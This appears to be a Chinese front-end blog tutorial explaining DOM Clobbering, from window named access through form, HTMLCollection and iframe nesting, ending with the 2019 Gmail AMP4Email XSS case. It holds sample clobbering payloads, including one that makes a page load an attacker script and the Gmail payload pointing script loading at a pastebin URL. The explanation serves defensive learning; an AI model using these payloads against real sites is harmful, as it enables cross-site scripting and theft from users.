// 每日前端夜话 第508篇
// 正文共:3400 字
// 预计阅读时间:9 分钟
做为一个前端程序猿,肯定应该知道很多与前端相关的知识,像是 HTML 或是 JS 相关的东西,但这些通常都与“使用”有关。例如说我知道写 HTML 的时候要语义化,要使用正确的标签;我知道 JS 应该要怎么用。可是有些知识虽然也跟网页有关,却不是前端程序员经常接触的。
所谓的“有些知识”指的其实是信息安全相关的知识。有些在信息安全里常见的观念,虽然跟网页有关,对我们来说却不太熟悉,而我认为理解这些其实是很重要的。因为你必须懂得怎么攻击才能防御,要先知道攻击手法跟原理,才知道该怎么防范。
在正式开始之前,先给大家一个小题目练练手。
假设有一段代码,有一个按钮以及一段 js 脚本,如下所示:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<button id="btn">click me</button>
<script>
// TODO: add click event listener to button
</script>
</body>
</html>
现在请你用最短的代码,实现出点击按钮时会跳出 alert(1)
这个功能。
这样写:
document.getElementById('btn')
.addEventListener('click', () => {
alert(1)
})
那如果要让代码最短,你的答案会是什么?
在继续之前先想一下,想好之后再往下看。
.
.
.
你知道 DOM 里面的东西,有可能影响到 window 吗?
就是你在 HTML 里面设定一个有 id 的元素之后,在 JS 中就可以直接操作:
<button id="btn">click me</button>
<script>
console.log(window.btn) // <button id="btn">click me</button>
</script>
由于 JS 的作用域规则,你就算直接用 btn
也可以,因为在当前的作用域找不到时就会往上找,一路找到 window
。
所以前面那道题的答案是:
btn.onclick = () => alert(1)
不需要 getElementById
,也不需要 querySelector
,只要直接用与 id
同名的变量去拿,就能得到。应该不会有比这个更短的代码了(有的话欢迎留言打脸)
而这个行为在 HTML 的说明文档中是有明确定义的,在 7.3.3 Named access on the Window object[1]:
节选两个重点:
embed
, form
, img
, and object
elements that have a non-empty name content attributeid
content attribute for all HTML elements that have a non-empty id content attribute也就是说除了 id
可以直接用 window
存取到以外,embed
, form
, img
和 object
这四个标签用 name
也可以操作:
<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>
但是知道这个有什么用呢?有,理解这个规则之后,可以得出一个结论:
我们是有机会通过 HTML 元素来影响 JS 的!
而把这个手法用在攻击上,就是标题的 DOM Clobbering。以前是因为这个攻击手段才第一次知道 clobbering 这个单词的,查了一下发现在计算机专业领域中有覆盖的意思,就是通过 DOM 把一些东西覆盖掉来达到攻击的手段。
那在什么场景之下有机会用 DOM Clobbering 攻击呢?
首先必须有机会在页面上显示你自己的 HTML,否则就没有办法了。所以一个可以攻击的场景可能是这样:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<h1>留言板</h1>
<div>
你的留言:Hello World!
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>
假设有一个留言板,你可以输入任意内容,但是你的输入在服务端会做一些处理(例如用DOMPurify[2] 之类的库),把所有可以执行 JavaScript 的东西都过滤掉,所以 <script></script>
会被删掉,<img src=x onerror=alert(1)>
的 onerror
会被去掉,还有许多 XSS payload 也都被干掉。
简而言之,你没办法执行 JavaScript 来进行 XSS 攻击,因为这些都被过滤掉了。
但是因为种种因素,并不会过滤掉 HTML 标签,所以你可以做的事情是显示自定义的 HTML。只要没有执行 JS,你想要插入什么 HTML 标签,设置什么属性都可以。
所以就可以这样做:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<h1>留言板</h1>
<div>
你的留言:<div id="TEST_MODE"></div>
<a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>
根据我们上面所学到到的知识,可以插入一个 id
是 TEST_MODE
的标签 <div id="TEST_MODE"></div>
,这样底下 JS 的 if (window.TEST_MODE)
就会过关,因为 window.TEST_MODE
是这个 div 元素。
还有我们可以用 <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
让 window.TEST_SCRIPT_SRC
转成字符串之后变成我们想要的内容。
在很多状况下,只是把一个变量覆盖成 HTML 元素是不够的,比如你把上面那段代码当中的 window.TEST_MODE
转成字符串打印出来:
// <div id="TEST_MODE" />
console.log(window.TEST_MODE + '')
结果会是:[object HTMLDivElement]
。
把一个 HTML 元素转成字符串就会变成这种形式,如果是这样的话那基本上没办法利用。但幸好在 HTML 里面有两个元素在 toString
时会做特殊处理:<base>
和 <a>
:
来源:4.6.3 API for a and area elements[3]
这两个元素在 toString
的时候会返回 URL,而我们可以通过 href
属性来设置 URL,这样就可以做到让 toString
之后的内容可控。
所以综合以上手法,我们学废了:
id
属性影响 JS 变量a
搭配 href
以及 id
让元素 toString
之后变成我们想要的值通过上面这两个手段再配合适当的场景,就有机会利用 DOM Clobbering 来进行攻击。
不过在这里要注意,如果你想攻击的变量已经存在的话,你用 DOM 是覆盖不掉的,例如:
<!DOCTYPE html>
<html>
<head>
<script>
TEST_MODE = 1
</script>
</head>
<body>
<div id="TEST_MODE"></div>
<script>
console.log(window.TEST_MODE) // 1
</script>
</body>
</html>
在前面的例子中,我们用 DOM 把 window.TEST_MODE
盖掉,制造出未预期的行为。如果要盖掉的对象是个对象那有机会吗?
例如 window.config.isTest
也可以用 DOM clobbering 盖掉吗?
有几种方法,第一种是利用 HTML 标签的层级关系,具有这样特性的是 form
表单:
在 HTML 的 说明[4] 中有这样一段:
可以利用 form[name]
或是 form[id]
取它底下的元素,例如:
<!DOCTYPE html>
<html>
<body>
<form id="config">
<input name="isTest" />
<button id="isProd"></button>
</form>
<script>
console.log(config) // <form id="config">
console.log(config.isTest) // <input name="isTest" />
console.log(config.isProd) // <button id="isProd"></button>
</script>
</body>
</html>
如此一来就可以构造出两层的 DOM clobbering。不过要注意,那就是这里没有 a
可用,所以 toString
之后都会没办法利用。
但是比较有可能利用的机会是,当你要覆盖的东西是用 value
存取的时候,例如:config.enviroment.value
,就可以利用 input
的 value
属性做覆盖:
<!DOCTYPE html>
<html>
<body>
<form id="config">
<input name="enviroment" value="test" />
</form>
<script>
console.log(config.enviroment.value) // test
</script>
</body>
</html>
简单来说就是只有那些内置的属性可以覆盖,其他是没有办法的。
除了利用 HTML 本身的层级以外,还可以利用另外一个特性:HTMLCollection。
在我们前面看到的关于 Named access on the Window object
说明文档中,决定值是什么的段落是这样写的:
如果要返回的东西有多个,就返回 HTMLCollection。
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config"></a>
<script>
console.log(config) // HTMLCollection(2)
</script>
</body>
</html>
那有了 HTMLCollection 之后可以做什么呢?在 4.2.10.2. Interface HTMLCollection[5] 中提到,可以利用 name
或是 id
去拿 HTMLCollection 里面的元素。
像这样:
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config" name="apiUrl" href="https://huli.tw"></a>
<script>
console.log(config.apiUrl + '')
// https://huli.tw
</script>
</body>
</html>
就可以通过同名的 id
产生出 HTMLCollection,再用 name
来得到 HTMLCollection 的特定元素,一样可以达到两层的效果。
而如果把 form
跟 HTMLCollection 结合在一起,就能够做到三层:
<!DOCTYPE html>
<html>
<body>
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value) //123
</script>
</body>
</html>
先利用同名的 id
,让 config
可以拿到 HTMLCollection,再来用 config.prod
就可以拿到 HTMLCollection 中 name
是 prod
的元素,也就是那个 form
,接著就是 form.apiUrl
拿到表单底下的 input
,最后用 value
拿到里面的属性。
所以如果最后要拿的属性是 HTML 的属性,就可以四层,否则的话就只能三层。
前面提到三层或是有条件的四层已经是极限了,那么还有没有其他方法再突破限制呢?
根据 DOM Clobbering strikes back[6] 里面给的做法,有,利用 iframe
就可以做到。
当你创建了一个iframe
并给它一个 name
时,用这个 name
就可以指到 iframe
里面的 window
,所以可以这样:
<!DOCTYPE html>
<html>
<body>
<iframe name="config" srcdoc='
<a id="apiUrl"></a>
'></iframe>
<script>
setTimeout(() => {
console.log(config.apiUrl) // <a id="apiUrl"></a>
}, 500)
</script>
</body>
</html>
这里之所以会需要 setTimeout
是因为 iframe
并不是同步载入的,所以需要一些时间才能正确拿到 iframe
里的东西。
有了 iframe
的帮助之后,就可以创造出更多层级:
<!DOCTYPE html>
<html>
<body>
<iframe name="moreLevel" srcdoc='
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
'></iframe>
<script>
setTimeout(() => {
console.log(moreLevel.config.prod.apiUrl.value) //123
}, 500)
</script>
</body>
</html>
理论上可以在 iframe
里再套一个 iframe
,可以做到无限层级的 DOM clobbering,不过我尝试了一下发现可能有点编码上的问题,例如像这样:
<!DOCTYPE html>
<html>
<body>
<iframe name="level1" srcdoc='
<iframe name="level2" srcdoc="
<iframe name="level3"></iframe>
"></iframe>
'></iframe>
<script>
setTimeout(() => {
console.log(level1.level2.level3) // undefined
}, 500)
</script>
</body>
</html>
打印出来会是 undefined
,但如果把 level3
的那对双引号拿掉,直接写成 name=level3
就可以成功打印出内容,我猜是因为单引号双引号的一些解析问题造成的,目前还没找到什么解决方法,只尝试了这样是可行的,但是再往下就出错了:
<!DOCTYPE html>
<html>
<body>
<iframe name="level1" srcdoc="
<iframe name="level2" srcdoc="
<iframe name='level3' srcdoc='
<iframe name=level4></iframe>
'></iframe>
"></iframe>
"></iframe>
<script>
setTimeout(() => {
console.log(level1.level2.level3.level4)
}, 500)
</script>
</body>
</html>
但实际上应该不会用到这么深的层级,所以四层最多五层就够用了。
2019 年 Gmail 有一个漏洞就是通过 DOM clobbering 来攻击的,完整的分析在这里:XSS in GMail’s AMP4Email via DOM Clobbering[7],下面简单讲一下过程(部分内容取材自这篇文章)。
简单来说在 Gmail 里你可以使用部分 AMP 的功能,然后 Google 针对这个格式的验证很严谨,所以没有办法用一般的方法进行 XSS。
但是有人发现可以在 HTML 元素上面设置 id,又发现当他设置了一个 <a id="AMP_MODE">
之后,控制台突然出现一个载入脚本的错误,而且网址中的其中一段是 undefined
。仔细去研究代码之后,有一段代码大概是这样的:
var script = window.document.createElement("script");
script.async = false;
var loc;
if (AMP_MODE.test && window.testLocation) {
loc = window.testLocation
} else {
loc = window.location;
}
if (AMP_MODE.localDev) {
loc = loc.protocol + "//" + loc.host + "/dist"
} else {
loc = "https://cdn.ampproject.org";
}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
document.head.appendChild(b);
如果能让 AMP_MODE.test
和 AMP_MODE.localDev
都是真值的话,再配合设置 window.testLocation
,就能载入任意的脚本。
所以攻击代码会类似这样:
// 让 AMP_MODE.test 和 AMP_MODE.localDev 有内容
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>
// 设置 testLocation.protocol
<a id="testLocation"></a>
<a id="testLocation" name="protocol"
href="https://pastebin.com/raw/0tn8z0rG#"></a>
最后就能成功载入任意脚本,进而进行 XSS!(不过当初作者只尝试到这一步就被 CSP 拦住了)。
这应该是 DOM Clobbering 最著名的案例之一了。
虽然 DOM Clobbering 的使用场景有限,却是一个相当有趣的攻击手段!而且如果你不知道这个特性的话,可能完全没想过可以通过 HTML 来影响全局变量的内容。
如果对这个攻击手法有兴趣的,可以参考 PortSwigger 的文章[8],里面提供了两个实验让大家亲自尝试这个攻击手段,光看是没用的,要实际下去操作一下才能体会。
Reference
[1]
7.3.3 Named access on the Window object:https://html.spec.whatwg.org/multipage/window-object.html#named-access-on-the-window-object
[2]
DOMPurify:https://github.com/cure53/DOMPurify
[3]
4.6.3 API for a and area elements:https://html.spec.whatwg.org/#api-for-a-and-area-elements
[4]
说明:https://www.w3.org/TR/html52/sec-forms.html
[5]
4.2.10.2. Interface HTMLCollection:https://dom.spec.whatwg.org/#interface-htmlcollection
[6]
DOM Clobbering strikes back:https://portswigger.net/research/dom-clobbering-strikes-back
[7]
XSS in GMail’s AMP4Email via DOM Clobbering:https://research.securitum.com/xss-in-amp4email-dom-clobbering/
[8]
文章:https://portswigger.net/web-security/dom-based/dom-clobbering
强力推荐前端面试刷题神器
精彩文章回顾,点击直达